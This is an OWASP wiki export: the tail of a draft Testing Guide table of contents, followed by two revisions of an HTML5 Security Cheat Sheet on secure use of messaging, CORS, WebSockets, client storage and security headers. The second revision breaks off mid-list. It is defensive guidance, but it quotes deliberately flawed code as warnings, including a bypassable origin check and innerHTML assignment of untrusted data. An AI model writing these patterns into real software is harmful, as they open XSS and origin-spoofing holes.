[[Testing for cookies attributes (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly "Testing for Cookies attributes (OWASP-SM-002)" (Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity)

[[Testing for Session Fixation (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly "Testing for Session Fixation (OWASP-SM-003)"

[[Testing for Exposed Session Variables (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly "Testing for Exposed Session Variables (OWASP-SM-004)"

[[Testing for CSRF (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly "Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)"

[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]

[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly "Testing for logout functionality (OWASP-SM-007)"

[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]

[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]

[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]

[[Testing for Data Validation|'''4.8 Data Validation Testing''']]

[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly "Testing for Reflected Cross Site Scripting (OWASP-DV-001)"

[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly "Testing for Stored Cross Site Scripting (OWASP-DV-002)"

[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly "Testing for HTTP Verb Tampering (OWASP-DV-003)"

[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly "Testing for HTTP Parameter pollution (OWASP-DV-004)"

[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly "Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)"

[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly "Testing for SQL Injection (OWASP-DV-005)" '''Ready to be reviewed'''

[[Testing for Oracle|4.8.6.1 Oracle Testing]]

[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]

[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]

[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]

[[Testing for MS Access |4.8.6.5 MS Access Testing]]

[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]

[[Testing for LDAP Injection (OWASP-DV-006)|4.8.7 Testing for LDAP Injection (OTG-INPVAL-007)]] formerly "Testing for LDAP Injection (OWASP-DV-006)"

[[Testing for ORM Injection (OWASP-DV-007)|4.8.8 Testing for ORM Injection (OTG-INPVAL-008)]] formerly "Testing for ORM Injection (OWASP-DV-007)"

[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly "Testing for XML Injection (OWASP-DV-008)"

[[Testing for SSI Injection (OWASP-DV-009)|4.8.10 Testing for SSI Injection (OTG-INPVAL-010)]] formerly "Testing for SSI Injection (OWASP-DV-009)"

[[Testing for XPath Injection (OWASP-DV-010)|4.8.11 Testing for XPath Injection (OTG-INPVAL-011)]] formerly "Testing for XPath Injection (OWASP-DV-010)"

[[Testing for IMAP/SMTP Injection (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection (OTG-INPVAL-012)]] formerly "IMAP/SMTP Injection (OWASP-DV-011)"

[[Testing for Code Injection (OWASP-DV-012)|4.8.13 Testing for Code Injection (OTG-INPVAL-013)]] formerly "Testing for Code Injection (OWASP-DV-012)"

[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]] [Alexander Antukh]

[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]] [Alexander Antukh]

[[Testing for Command Injection (OWASP-DV-013)|4.8.14 Testing for Command Injection (OTG-INPVAL-014)]] formerly "Testing for Command Injection (OWASP-DV-013)"

[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly "Testing for Buffer overflow (OWASP-DV-014)"

[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]

[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]

[[Testing for Format String|4.8.15.3 Testing for Format string]]

[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly "Testing for incubated vulnerabilities (OWASP-DV-015)"

[[Testing for HTTP Splitting/Smuggling (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-017) ]] formerly "Testing for HTTP Splitting/Smuggling (OWASP-DV-016)" [Juan Galiana]

[[Error Handling|'''4.9 Error Handling''']]

[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly "Analysis of Error Codes (OWASP-IG-006)"

[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly "Analysis of Stack Traces"

[[Cryptography|'''4.10 Cryptography''']]

[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1 Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly "Testing for Insecure encryption usage (OWASP-EN-001)"

[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly "Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)"

[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly "Testing for Padding Oracle (OWASP-EN-003)"

[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]

[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]

[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]

[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]

[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]

[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test

[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly "Incorrect time"

[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]

[[Testing for business logic (OWASP-BL-001)|'''4.12 Business Logic Testing (OWASP-BL-001)''']] [To review--> David Fern]
Business Logic 

[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section

[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]

[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]

[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]

[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]

[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]

[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]

[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]

[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]

[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]

[[Denial of Service|'''4.13 Denial of Service''']]

[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better 

[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]

[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly "Testing for CAPTCHA (OWASP-AT-012)"

[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston]

[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly "Scoping a Web Service Test (OWASP-WS-001)"

[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly "WS Information Gathering (OWASP-WS-002)"

[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly "WS Authentication Testing (OWASP-WS-003)"

[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly "WS Management Interface Testing (OWASP-WS-004)"

[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly "Weak XML Structure Testing (OWASP-WS-005)"

[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly "XML Content-Level Testing (OWASP-WS-006)"

[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly "WS HTTP GET Parameters/REST Testing (OWASP-WS-007)"

[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly "WS Naughty SOAP Attachment Testing (OWASP-WS-008)"

[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly "WS Replay/MiTM Testing (OWASP-WS-009)"

[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly "WS BEPL Testing (OWASP-WS-010)"

[[Client Side Testing|'''4.15 Client Side Testing''']] [New!]

[[Testing for DOM-based Cross site scripting (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]] formerly "Testing for DOM based Cross Site Scripting (OWASP-CS-001)" [Stefano Di Paola]

[[Test Cross Origin Resource Sharing (OTG-CLIENT-002)|4.15.2 Test Cross Origin Resource Sharing (OTG-CLIENT-002)]] formerly "Testing for HTML5 (OWASP CS-002)" [Juan Galiana]

[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing (OTG-CLIENT-003)]] formerly "Testing for Cross Site Flashing (OWASP-CS-003)"

[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly "Testing for Clickjacking (OWASP-CS-004)" [Davide Danelon]

[[Testing WebSockets (OTG-CLIENT-005)|4.15.5 Testing WebSockets (OTG-CLIENT-005)]] [Ryan Dewhurst]

[[Test Web Messaging (OTG-CLIENT-006)|4.15.6 Test Web Messaging (OTG-CLIENT-006)]] [Juan Galiana]

[[Test Local Storage (OTG-CLIENT-007)|4.15.7 Test Local Storage (OTG-CLIENT-007)]] [Juan Galiana]

==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==

[[How to value the real risk |5.1 How to value the real risk]] [To review--> Amro AlOlaqi]

[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> Amro AlOlaqi]

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools [To review--> Amro AlOlaqi] '''Ready to be reviewed'''

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
* Whitepapers [To review--> David Fern]
* Books [To review--> David Fern]
* Useful Websites [To review--> David Fern]

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories [To review--> Amro AlOlaqi]

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==

[To review--> Amro AlOlaqi]

----

[[Category:OWASP Testing Project]]

HTML5 Security Cheat Sheet

2013-10-06T15:33:40Z

Jgaliana:

= Introduction =

The following cheat sheet serves as a guide for implementing HTML 5 in a secure fashion.

= General Guidelines =

== Communication APIs ==

=== Web Messaging ===

Web Messaging, also known as Cross Domain Messaging provides a means of messaging between documents from different origins in a way which is generally safer than the multiple hacks used in the past to accomplish this task, however, there are still some recommendations to keep in mind:

*When posting a message, explicitly state the expected origin as the second argument to <tt>postMessage</tt> rather than <tt>*</tt> in order to prevent sending the message to an unknown origin after a redirect or some other means of the target window's origin changing.
*The receiving page should '''always''':
**Check the <tt>origin</tt> attribute of the sender to verify the data is originating from the expected location, and
**Perform input validation on the <tt>data</tt> attribute of the event to ensure it's in the desired format.
*Don't assume you have control over data attribute. Single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] flaw in sending page allows attacker to send messages of any given format.
*Both pages should only interpret the exchanged messages as '''data'''. Never evaluate passed messages as code (e.g. via eval() ) or insert it to a page DOM (e.g. via innerHTML) as that would create a DOM based XSS vulnerability. For more information see [[DOM based XSS Prevention Cheat Sheet|DOM based XSS Prevention Cheat Sheet]].
*To assign the data value to an element, instead of using a insecure method like <tt>element.innerHTML = data;</tt> use the safer option <tt>element.textContent = data;</tt>
*Check the origin properly exactly to match the FQDN(s) you expect. Note that the following code: <tt> if(message.orgin.indexOf(".owasp.org")!=-1) { /* ... */ }</tt> is very insecure and will not have the desired behavior as www.owasp.org.attacker.com will match.
*If you need to embed external content/untrusted gadgets and allow user-controlled scripts which is highly discouraged, consider use a JavaScript rewriting framework such as [http://code.google.com/p/google-caja/ Google Caja] or check the information on [[#Sandboxed frames|sandboxed frames]]

=== Cross Origin Resource Sharing ===

*Validate URLs passed to <tt>XMLHttpRequest.open</tt>, current browsers allow these URLs to be cross domain and this behavior can lead to code injection by a remote attacker. Pay extra attention to absolute URLs.
*Ensure that URLs responding with <tt>Access-Control-Allow-Origin: *</tt> do not include any sensitive content or information that might aid attacker in further attacks. Use <tt>Access-Control-Allow-Origin</tt> header only on chosen URLs that need to be accessed cross-domain. Don't use the header for the whole domain.
*Take special care when using <tt>Access-Control-Allow-Credentials: true</tt> response header. Whitelist the allowed Origins and never echo back the <tt>Origin</tt> request header in <tt>Access-Control-Allow-Origin</tt>.
*Allow only selected, trusted domains in <tt>Access-Control-Allow-Origin</tt> header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use <tt>*</tt> wildcard nor blindly return the <tt>Origin</tt> header content without any checks).
*Keep in mind that CORS does not prevent the requested data from going to an un-authenticated location - it's still important for the server to perform usual [[Cross-Site Request Forgery (CSRF)|CSRF]] prevention.
*While the RFC recommends a pre-flight request with the <tt>OPTIONS</tt> verb, current implementations might not perform this request, so it's important that "ordinary" (<tt>GET</tt> and <tt>POST</tt>) requests perform any access control necessary.
*For performance reasons pre-flight requests may be cached in client-side for certain amount of time (controlled by Access-Control-Max-Age header). The security model of CORS can be bypassed in case of header injection vulnerabilities in combination with pre-flight caching so add measures to prevent [[HTTP_Response_Splitting]] vulnerabilities in server side.
*Discard requests received over plain HTTP with HTTPS origins to prevent mixed content bugs.
*Don't rely only on the Origin header for Access Control checks. Browser always sends this header in CORS requests, but may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data.

=== WebSockets ===

*Drop backward compatibility in implemented client/servers and use only protocol versions above hybi-00. Popular Hixie-76 version (hiby-00) and olders are outdated and insecure.
*Recommended version supported in latest versions of all current browsers is [http://tools.ietf.org/html/rfc6455 RFC 6455] (Supported by Firefox 11+, Chrome 16+, Safari 6, Opera 12.50 and IE10).
*While it is relatively easy to tunnel TCP services through WebSockets (e.g. VNC, FTP), doing so enables access to these tunneled services for the in-browser attacker in case of a Cross-Site-Scripting attack. These services might also be called directly from a malicious page or program.
*The protocol doesn't handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred.
*Process the messages received by the websocket as data. Don't try to assign it directly to the DOM nor evaluate as code. If the response is JSON never use the insecure eval() function, use the safe option JSON.parse() instead.
*Endpoints exposed through <tt>ws://</tt> protocol are easily reversible to plaintext. Only <tt>wss://</tt> (WebSockets over SSL/TLS) should be used for protection against Man-In-The-Middle attacks
*Spoofing the client is possible outside browser, so WebSockets server should be able to handle incorrect/malicious input. Always validate input coming from the remote site, as it might have been altered.
*When implementing servers, check the <tt>Origin:</tt> header in Websockets handshake. Though it might be spoofed outside browser, browsers always add the Origin of the page which initiated Websockets connection.
*As WebSockets client in browser is accessible through Javascript calls, all Websockets communication can be spoofed or hijacked through [[Cross Site Scripting Flaw|Cross-Site-Scripting]]. Always validate data coming through WebSockets connection.

=== Server-Sent Events ===

*Validate URLs passed to the <tt>EventSource</tt> constructor, even though only same-origin URLs are allowed.
*As mentioned before, process the messages (<tt>event.data</tt>) as data and never evaluate the content as HTML or script code.
*Check always the origin attribute of the message (<tt>event.origin</tt>) to ensure the message is coming from a trusted domain, use a whitelist approach.

== Storage APIs ==

=== Local Storage ===

*Also known as Offline Storage, Web Storage. Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.
*Use the object sessionStorage instead of localStorage if persistent storage is not needed. sessionStorage object is available only to that window/tab until the window is closed.
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to steal all the data in these objects, so again it's recommended not to store sensitive information in local storage.
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into these objects too, so don't consider objects in these to be trusted.
*Pay extra attention to “localStorage.getItem” and “setItem” calls implemented in HTML5 page. It helps in detecting when developers build solutions that put sensitive information in local storage, which is a bad practice.
*Do not store session identifiers in local storage as the data is always accesible by JavaScript. Cookies can mitigate this risk using the <tt>httpOnly</tt> flag.
*There is no way to restrict the visibility of an object to a specific path like with the attribute path of HTTP Cookies, every object is shared within an origin and protected with the Same Origin Policy. Avoid host multiple applications on the same origin, all of them would share the same localStorage object, use different subdomains instead.

=== Client-side databases ===

*On November 2010 the W3C announced Web SQL Database (relational SQL database) as a deprecated specification. A new standard Indexed Database API or IndexedDB (formerly WebSimpleDB) is actively developed which provides key/value database storage and methods for performing advanced queries.
*Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.
*If utilized, WebDatabase content on client side can be vulnerable to SQLInjection and needs to have proper validation and parametrization.
*Like Local Storage, a single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into a web database too, so don't consider data in these to be trusted either.

== Geolocation ==

*The Geolocation RFC recommends that the user agent ask the user's permission before calculating location, but whether or how this decision is remembered varies from browser to browser. Some user agents require the user to visit the page again in order to turn off the ability to get the user's location without asking, so for privacy reasons, it's recommended to require user input before calling <tt>getCurrentPosition</tt> or <tt>watchPosition</tt>.

== Web Workers ==

*Web Workers are allowed to use <tt>XMLHttpRequest</tt> object to perform in-domain and Cross Origin Resource Sharing requests. See relevant section of this Cheat Sheet to ensure CORS security.
*While Web Workers don't have access to DOM of the calling page, malicious Web Workers can use excessive CPU for computation, leading to Denial of Service condition or abuse Cross Origin Resource Sharing for further exploitation. Ensure code in all Web Workers scripts is not malevolent. Don't allow creating Web Worker scripts from user supplied input.
*Validate messages exchanged with a Web Worker. Do not try to exchange snippets of Javascript for evaluation e.g. via eval() as that could introduce a [[DOM Based XSS|DOM Based XSS]] vulnerability.

== Sandboxed frames ==

*Use the <tt>sandbox</tt> attribute of an <tt>iframe</tt> for untrusted content

*The <tt>sandbox</tt> attribute of an <tt>iframe</tt> enables restrictions on content within a <tt>iframe</tt>. The following restrictions are active when the <tt>sandbox</tt> attribute is set:

#All markup is treated as being from a unique origin
#All forms and scripts are disabled
#All links are prevented from targeting other browsing contexts
#All features that triggers automatically are blocked
#All plugins are disabled

It is possible to have a [http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html#attr-iframe-sandbox fine-grained control] over <tt>iframe</tt> capabilities using the value of the <tt>sandbox</tt> attribute.

*In old versions of user agents where this feature is not supported this attributed will be ignored. Use this feature as an additional layer of protection or check if the browser supports sandboxed frames and only show the untrusted content if supported.
*Apart from this attribute, to prevent Clickjacking attacks and unsolicited framing it is encouraged to use the header <tt>X-Frame-Options</tt> which supports the <tt>deny</tt> and <tt>same-origin</tt> values. Other solutions like framebusting <tt>if(window!== window.top) { window.top.location = location; }</tt> are not recommended.

== Offline Applications ==

*Wether the user agent requests permission to the user to store data for offline browsing and when this cache is deleted vary from one browser to the next. Cache poisoning is an issue if a user connects through insecure networks, so for privacy reasons it is encouraged to require user input before sending any <tt>manifest</tt> file.
*Users should only cache trusted websites and clean the cache after browsing through open or insecure networks.

== Progressive Enhancements and Graceful Degradation Risks ==

*The best practice now is to determine the capabilities that a browser supports and augment with some type of substitute for capabilities that are not directly supported. This may mean an onion-like element, e.g. falling through to a Flash Player if the <video> tag is unsupported, or it may mean additional scripting code from various sources that should be code reviewed.

== HTTP Headers to enhance security ==

=== X-Frame-Options ===

*This header can be used to prevent ClickJacking in modern browsers (IE6/IE7 don't support this header)
*Use the <tt>same-origin</tt> attribute to allow being framed from urls of the same origin or <tt>deny</tt> to block all. Example: <tt>X-Frame-Options: DENY</tt>

=== X-XSS-Protection ===

*Enable XSS filter (only works for Reflected XSS)
*Example: <tt>X-XSS-Protection: 1; mode=block</tt>

=== Strict Transport Security ===

*Force every browser request to be sent over TLS/SSL (this can prevent SSL strip attacks)
*Use includeSubDomains
*Example: Strict-Transport-Security: max-age=8640000; includeSubDomains

=== Content Security Policy ===

*Policy to define a set of content restrictions for web resources which aims to mitigate web application vulnerabilities such as Cross Site Scripting
*Example: X-Content-Security-Policy: allow 'self'; img-src *; object-src media.example.com; script-src js.example.com

=== Origin ===

*Sent by CORS/WebSockets requests
*There is a proposal to use this header to mitigate CSRF attacks, but is not yet implemented by vendors for this purpose.

= Authors and Primary Editors =

Mark Roxberry - mark.roxberry [at] owasp.org 
Krzysztof Kotowicz - krzysztof [at] kotowicz.net 
Will Stranathan - will [at] cltnc.us 
Shreeraj Shah - shreeraj.shah [at] blueinfy.net 
Juan Galiana Lara - jgaliana [at] owasp.org

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

HTML5 Security Cheat Sheet

2013-10-06T15:31:48Z

Jgaliana: small change on CORS section

= Introduction =

The following cheat sheet serves as a guide for implementing HTML 5 in a secure fashion.

= General Guidelines =

== Communication APIs ==

=== Web Messaging ===

Web Messaging, also known as Cross Domain Messaging provides a means of messaging between documents from different origins in a way which is generally safer than the multiple hacks used in the past to accomplish this task, however, there are still some recommendations to keep in mind:

*When posting a message, explicitly state the expected origin as the second argument to <tt>postMessage</tt> rather than <tt>*</tt> in order to prevent sending the message to an unknown origin after a redirect or some other means of the target window's origin changing.
*The receiving page should '''always''':
**Check the <tt>origin</tt> attribute of the sender to verify the data is originating from the expected location, and
**Perform input validation on the <tt>data</tt> attribute of the event to ensure it's in the desired format.
*Don't assume you have control over data attribute. Single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] flaw in sending page allows attacker to send messages of any given format.
*Both pages should only interpret the exchanged messages as '''data'''. Never evaluate passed messages as code (e.g. via eval() ) or insert it to a page DOM (e.g. via innerHTML) as that would create a DOM based XSS vulnerability. For more information see [[DOM based XSS Prevention Cheat Sheet|DOM based XSS Prevention Cheat Sheet]].
*To assign the data value to an element, instead of using a insecure method like <tt>element.innerHTML = data;</tt> use the safer option <tt>element.textContent = data;</tt>
*Check the origin properly exactly to match the FQDN(s) you expect. Note that the following code: <tt> if(message.orgin.indexOf(".owasp.org")!=-1) { /* ... */ }</tt> is very insecure and will not have the desired behavior as www.owasp.org.attacker.com will match.
*If you need to embed external content/untrusted gadgets and allow user-controlled scripts which is highly discouraged, consider use a JavaScript rewriting framework such as [http://code.google.com/p/google-caja/ Google Caja] or check the information on [[#Sandboxed frames|sandboxed frames]]

=== Cross Origin Resource Sharing ===

*Validate URLs passed to <tt>XMLHttpRequest.open</tt>, current browsers allow these URLs to be cross domain and this behavior can lead to code injection by a remote attacker. Pay extra attention to absolute URLs.
*Ensure that URLs responding with <tt>Access-Control-Allow-Origin: *</tt> do not include any sensitive content or information that might aid attacker in further attacks. Use <tt>Access-Control-Allow-Origin</tt> header only on chosen URLs that need to be accessed cross-domain. Don't use the header for the whole domain.
*Take special care when using <tt>Access-Control-Allow-Credentials: true</tt> response header. Whitelist the allowed Origins and never echo back the <tt>Origin</tt> request header in <tt>Access-Control-Allow-Origin</tt>.
*Allow only selected, trusted domains in <tt>Access-Control-Allow-Origin</tt> header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use <tt>*</tt> wildcard or blindly echo back the <tt>Origin</tt> header content without any checks).
*Keep in mind that CORS does not prevent the requested data from going to an un-authenticated location - it's still important for the server to perform usual [[Cross-Site Request Forgery (CSRF)|CSRF]] prevention.
*While the RFC recommends a pre-flight request with the <tt>OPTIONS</tt> verb, current implementations might not perform this request, so it's important that "ordinary" (<tt>GET</tt> and <tt>POST</tt>) requests perform any access control necessary.
*For performance reasons pre-flight requests may be cached in client-side for certain amount of time (controlled by Access-Control-Max-Age header). The security model of CORS can be bypassed in case of header injection vulnerabilities in combination with pre-flight caching so add measures to prevent [[HTTP_Response_Splitting]] vulnerabilities in server side.
*Discard requests received over plain HTTP with HTTPS origins to prevent mixed content bugs.
*Don't rely only on the Origin header for Access Control checks. Browser always sends this header in CORS requests, but may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data.

=== WebSockets ===

*Drop backward compatibility in implemented client/servers and use only protocol versions above hybi-00. Popular Hixie-76 version (hiby-00) and olders are outdated and insecure.
*Recommended version supported in latest versions of all current browsers is [http://tools.ietf.org/html/rfc6455 RFC 6455] (Supported by Firefox 11+, Chrome 16+, Safari 6, Opera 12.50 and IE10).
*While it is relatively easy to tunnel TCP services through WebSockets (e.g. VNC, FTP), doing so enables access to these tunneled services for the in-browser attacker in case of a Cross-Site-Scripting attack. These services might also be called directly from a malicious page or program.
*The protocol doesn't handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred.
*Process the messages received by the websocket as data. Don't try to assign it directly to the DOM nor evaluate as code. If the response is JSON never use the insecure eval() function, use the safe option JSON.parse() instead.
*Endpoints exposed through <tt>ws://</tt> protocol are easily reversible to plaintext. Only <tt>wss://</tt> (WebSockets over SSL/TLS) should be used for protection against Man-In-The-Middle attacks
*Spoofing the client is possible outside browser, so WebSockets server should be able to handle incorrect/malicious input. Always validate input coming from the remote site, as it might have been altered.
*When implementing servers, check the <tt>Origin:</tt> header in Websockets handshake. Though it might be spoofed outside browser, browsers always add the Origin of the page which initiated Websockets connection.
*As WebSockets client in browser is accessible through Javascript calls, all Websockets communication can be spoofed or hijacked through [[Cross Site Scripting Flaw|Cross-Site-Scripting]]. Always validate data coming through WebSockets connection.

=== Server-Sent Events ===

*Validate URLs passed to the <tt>EventSource</tt> constructor, even though only same-origin URLs are allowed.
*As mentioned before, process the messages (<tt>event.data</tt>) as data and never evaluate the content as HTML or script code.
*Check always the origin attribute of the message (<tt>event.origin</tt>) to ensure the message is coming from a trusted domain, use a whitelist approach.

== Storage APIs ==

=== Local Storage ===

*Also known as Offline Storage, Web Storage. Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.
*Use the object sessionStorage instead of localStorage if persistent storage is not needed. sessionStorage object is available only to that window/tab until the window is closed.
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to steal all the data in these objects, so again it's recommended not to store sensitive information in local storage.
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into these objects too, so don't consider objects in these to be trusted.
*Pay extra attention to “localStorage.getItem” and “setItem” calls implemented in HTML5 page. It helps in detecting when developers build solutions that put sensitive information in local storage, which is a bad practice.
*Do not store session identifiers in local storage as the data is always accesible by JavaScript. Cookies can mitigate this risk using the <tt>httpOnly</tt> flag.
